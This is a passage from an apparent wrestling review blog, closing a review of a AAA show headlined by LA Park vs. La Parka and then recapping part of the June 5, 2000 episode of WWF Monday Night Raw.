Oh wait false alarm as we’re waiting again. And now, another lockup. Electroshock is muscled and Wagner is kind of stocky but well built. Rather technical stuff so far to start and we have a standoff. Test of strength results in Electroshock completely outmaneuvering Wagner and getting him down in a leg lock. The fans aren’t exactly pleased here.

 

And it’s another standoff. This is more like a badly written ballet/dance routine than a match. Back to that stupid test of strength for like the third time so far. And now Electroshock hits the floor out of boredom. Back and it’s another wristlock. There has been a total of one strike, a kick to the back, in this whole match and we’re about 8 minutes into it.

 

Short arm scissors gets neither guy anywhere. They trade some WEAK chops as I’m bored out of my mind here. Where are Gorilla and Jesse to make subtle jokes when I need them? Konnan seems to be praising this match as we’re in leg lock #8475 so far. A lot of hip tosses and arm drags set up a kick to the head by Wagner in the biggest move of the match. We get a replay of it in slow motion and it shows the kick must have missed by four inches. Nice job guys.

 

Wagner is sent to the floor so Electroshock hits a big dive to FINALLY get something going here. Fans are still cheering for Wagner. These guys are really bad about covering up that their strikes aren’t hitting. Electroshock grabs a Fujiwara Armbar and Wagner is in trouble. And then he just lets it go because I guess he wanted to go find an enchilada. Superplex by Electroshock gets two.

 

Can someone do something interesting? The match hasn’t been good from an entertainment standpoint, it’s decent from a technical standpoint, and it’s killed the crowd in general. WAY too much time without them doing anything in particular. The fans cheer for Wagner. Wagner sits there. Rana gets two for Wagner. Abdominal stretch by the champion which is the setup for his finisher but he cheats with the ropes and the hold is broken.

 

It’s 4:45am so excuse me if I nod off for a bit. Hey look: MORE STANDING AROUND! Victory Roll by the Doctor results in about 8 rolls in slow motion and Electroshock gets two out of it. The Dr. hits a front flip off the apron and both guys are down. Maybe they’re taking a nap while they’re out there. I wouldn’t blame them if they did.

 

Electroshock gets his hold which is a kneeling abdominal stretch with a leg lock. Yep that goes nowhere as Wagner reverses into a rollup for two. Wagner’s finisher, a Michinoku Driver, gets two. Medium boot by Electroshock gets him nowhere as Wagner hits an enziguri followed by the second Wagner Driver for the pin and the title. Dude….seriously? That’s the ending? Oh well at least it’s main event time.

 

Rating: D-. Oh my. Oh my indeed. This may have been the least interesting main event I have seen in a very long time. It runs 22 minutes and they were in first gear for about 20 minutes of that. There is, I kid you not, probably seven combined minutes of just standing around doing nothing. This match was very boring and sucked the decent life out of this show. Absolutely terrible and the fans booing in parts was something I’d have done too. Totally boring for the most part and the ending came out of nowhere.

 

Mesias, a former champion hands Wagner the belt and hugs him. Wagner and Electroshock shake hands too.

 

Between replays and the celebration we kill off almost ten minutes.

 

La Parka says he is the real La Parka and will prove it tonight.

 

LA Park vs. La Parka

 

Now this is an interesting one. LA Park is the original La Parka and the one from WCW. He was a major star in AAA but left 14 years ago to go to WCW. The thing was the original owner of AAA, and the guy whose ashes are in that urn, kept the rights to the gimmick and gave them to the guy known as La Parka. LA Park is the new name that the original La Parka used to continue the gimmick without continuing the gimmick. He returned in a shocking moment and said he wanted his name back. This match is for the official rights to the name and gimmick. In short, this is a big match that no one thought would happen.

 

Both come out to Thriller and look almost identical. I’ll try to remember who is who here. Out first is La Parka with the boss of the company, Joaquin. Ok this should be easier: Park has the skulls on his shoulders. That’s easier. Park also has the son of the president with him, Dorian, as the president and his papa are in a power struggle. The fans are behind the heel Park here which is interesting.

 

There’s a chair in the ring which is the signature weapon of both guys. Park dominates to start and grabs the chair for a big shot maybe a minute in. Another chair shot as this Parka (Park for the original, Parka for the new if that helps at all) guy is kind of getting his head kicked in. To the floor now as Park is yelling at Konnan and cuts a quick promo before the third chair shot. Is it the Rock in disguise?

 

Joaquin, the president, gets in his face until Parka saves him. By saves I mean he stands up so Park can get beaten up even more. Park rips at the mask and you can see Parka’s forehead. They’re in the crowd now as this has already had more action than the world title match and we’re not even five minutes into this. Park goes to the back and gets a table. I guess there aren’t table making leprechauns under the ring in Mexico.

 

Parka has not had a single bit of offense that I’ve seen. There’s a fire extinguisher at Parka who is just trying to cover up at this point. Table and chair in the ring now. The fans are totally behind the original Park here and it’s kind of funny since he’s the heel through and through. The table is set up in the corner but Park settles for just beating on Parka a bit more instead.

 

Dorian whispers something to Parka and his dad shoves him away. The referee gets involved and Parka charges to try to tackle Park through the table. Park steps to the side and Parka goes sailing through it. Belt comes off and it’s whipping time. This has literally been one sided the entire ten minutes so far. Park rams Parka’s head into the pieces of the table and the chair.

 

Park busts a piece of the table over Parka’s head to a big reaction. Here comes table #2. Park sets it up in the ring and puts the chair on top of it and goes up. OH MAN IT’S OFFENSE FROM PARKA!!!!!! He gets a few punches in and suplexes/slams Park through the table and onto the chair. The crowd is awake now. Parka is bleeding from the head it seems which makes sense.

 

BIG chair shot from Parka and momentum has completely shifted. Parka rips at Park’s mask as Joaquin is like do it! Parka’s mask is covering maybe half of his face at this point. Into the crowd again goes Park while Parka’s mask looks rather weird. Oh man Parka is busted BAD. Park’s mask is barely staying on too. Back in the ring now and Parka has the belt now so he lays in some HARD shots.

 

A slam gets a pop. Between two guys of relatively average size when do you hear that? Parka goes up but gets crotched by Park. The fans aren’t sure who to cheer for here. Park jumps into the boot of Parka and the new guy has control again. Park goes to the floor again and it’s a too short suicide dive by Parka. The mask is hanging on like a Post-It at this point.

 

Parka celebrates but Park sneaks up on him and hooks in a choke that looks like he’s trying for a Backstabber but keeps Parka on the mat on his knees and pulls back on his chin. Looks great if you didn’t get that. Park starts going for the knees and adds a Backstabber for two. This is that slow counting referee again. Parka fights back and gets what was supposed to be a Codebreaker from the middle rope for two.

 

Big boot by Park gets a close two. Semi-botched DDT by Parka gets two and a ton of booing. They counter each other a bit until something resembling the Eye of the Hurricane gets two for Park. Both guys are gassed bad here. Park charges in the corner but rams the post instead. Park’s mask is more or less gone here. Leg lock by Parka right in front of Dorian.

 

There’s the rope but the referee has to break up the hold. Not often that you see that from a hold put on by a face. Park gets a rollup for two. Park for no apparent reason dives at the referee who was on the floor for no apparent reason. So there’s no referee and Park is more or less dead. Dorian has the chair and Parka gets a clothesline to put Park down again.

 

Parka sets for a tombstone which is illegal in Mexico but Joaquin stops him. An enziguri from Park puts Parka down again. Joaquin has the chair now but Park winds up managing to hit the Tombstone on the chair and Parka is out cold. Another chair in the hands of Park as Joaquin comes in.

 

Dorian says no don’t hit him but Park shoves Dorian down and clocks Joaquin with the chair instead. Dorian gets up and turns face, blasting Park with the chair a bunch of times to avenge his father. Then with both skeleton dudes down, Los Perros Del Mal, a group of invading wrestlers from a promotion of the same name, put Park on top of Parka for the pin to win the name.

 

Rating: B+. This was a WAR. They beat the tar out of each other and it’s only the ending and the exhaustion that is holding this back. It wasn’t a great match from a workrate standpoint or anything but there was a great story out there and the fans were into it. This was supposed to go on next to last with Wagner vs. Electroshock going here instead but this worked far better. Great match and a great way to end the show.

 

Los Perros Del Mal celebrate with a bunch more of them hitting the ring. Parka is taken out on a stretcher and the leader/owner of Los Perros Del Mal say they’re taking over AAA. A bunch of AAA guys and security come out while the fans chant for Los Perros. The leader of Los Perros (Perro Aguayo, Jr.) says wrestling needs a change and that change is Los Perros.

 

Also whether you like it or not, Park is the original and forever the real La Parka. Park says Los Perros will own AAA and Dorian doesn’t know what to do. Park runs down AAA, Dorian and Konnan. Take a guess who would be in a heel superstable in less than a month. If you guessed all three of them, WELL DONE YOU LUNKHEAD!

 

The woman with the urn says the original owner (Antonio Pena. The woman with the urn is apparently his sister and Joaquin is his the woman’s (Marisol) husband. Dorian is Antonio’s nephew/Joaquin’s son) is watching and all that jazz and that AAA will beat Los Perros Del Mal and what not to end the show.

 

In a little followup, later that night the Mexican Boxing and Athletic Commission said that the result of the main event was thrown out due to the interference. The next day AAA had a press conference where Dorian officially turned face (technico) again and said that Park was the official La Parka and that the loser of the main event would have to change his name. This was later dropped.

 

Two weeks after this, the Foreign Legion and Los Perros would merge. There would be a mini group added called La Milicia and then about two months later Los Maniacos, the tag champions, joined and the superstable was called La Sociedad. That feud has gone on since with Mesias fighting Perro Aquayo Jr. and Cibernetico making his own stable to fight Los Perros. Los Perros have a ton of titles now including the world title held by El Zorro. Granted this could be out of date very soon but that’s what Wikipedia is for.

 

Overall Rating: B. I liked this. I liked it quite a bit actually. This is the kind of show I could see myself watching on a regular basis. Now to be fair this is the Wrestlemania of this company but it felt like one of those. There’s a lot I didn’t get because this is my first time watching, but at the end of the day I’d like to see more of this which is exactly the point. Fun stuff, some bad stuff, but overall I liked this and would watch more of it if I had the chance. Good show overall with some bad spots (world title match for example).
Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 

Monday Night Raw
Date: June 5, 2000
Location: War Memorial Auditorium, Rochester, New York
Commentators: Jim Ross, Jerry Lawler

We open with a clip of Undertaker earning a shot at HHH by winning a handicap match against X-Pac and Road Dogg. This was followed later in the night by Rock beating Edge and Christian to become #1 contender. The main event of the show was Kane pinning HHH to earn a world title shot. In other words, there are three #1 contenders.

Theme song.

Here are HHH and Stephanie to open things up. HHH tells the fans to shut up so he can talk about how hot the competition is for his world title. The fans chant for Rocky as HHH talks about how much it means to be world champion. It means that you have beaten the very best and right now, there are three people that are the #1 contender to the title. The fans chant some very rude things at Stephanie to make HHH even angrier. HHH cuts them off by talking about how competition turns him on.

Post match Rikishi cleans house and gives Trish a Stinkface.

The McMahons and company reconcile in the back. Brisco slams a door on Crash Holly as he tries to sneak up on him with a chair to win the Hardcore Title.

King of the Ring Qualifying Match: Road Dogg vs. Chris Benoit

Post match the Dudleys load up a 3D to put Tori through a table but X-Pac makes the save.

Kane says there are no allies or brothers in the triple threat

Hardcore Title: Gerald Brisco vs. Crash

Undertaker says Kane is right about there being no friends or brothers in the match tonight.

Kane vs. Undertaker vs. The Rock

Undertaker knocks Kane to the floor but Rock is back up with right hands to the dead man. All three head outside now with Rock being double teamed until HHH jumps Undertaker. HHH sends Kane into the steps as well but Undertaker is back up and goes after Rock again before dropping HHH with a right hand. HHH blasts Kane with a chair which knocks him into a quick Rock Bottom on Kane sends Rock to the title match.

Post match HHH immediately hits Rock in the head with a chair.

Godfather/Dean Malenko vs. Chyna/Eddie Guerrero

King of the Ring Qualifying Match: Hardcore Holly vs. Faarooq

Kurt Angle/Edge/Christian vs. Dudley Boys/Chris Jericho

Post match Jericho puts Angle in the Walls and the Dudleys 3D Kurt through a table.

Hardy Boys vs. Bull Buchanan/Big Bossman

Bull starts with Matt and a big boot puts Matt down. Off to Boss Man as Lita is watching in the back, having not yet hooked up with the brothers yet. Back to Bull for a backbreaker but he misses a leg drop. Off to Jeff who speeds things up as everything breaks down. Jeff hits a quick Swanton on Bull for the win. This was nothing.

Boss Man and Buchanan fight post match with Boss Man laying Bull out.

HHH wants to head to the ring alone tonight.

WWF World Title: HHH vs. The Rock

HHH is already lying as Stephanie comes to the ring with him. Rock jumps HHH during his water spit and the fight is on fast. Rock pounds away and knocks HHH out to the floor before whipping him into whatever hard objects he can find. They load up the announce table but HHH fights out of the Rock Bottom. Instead Rock whips him over the announce table and hits the champion low.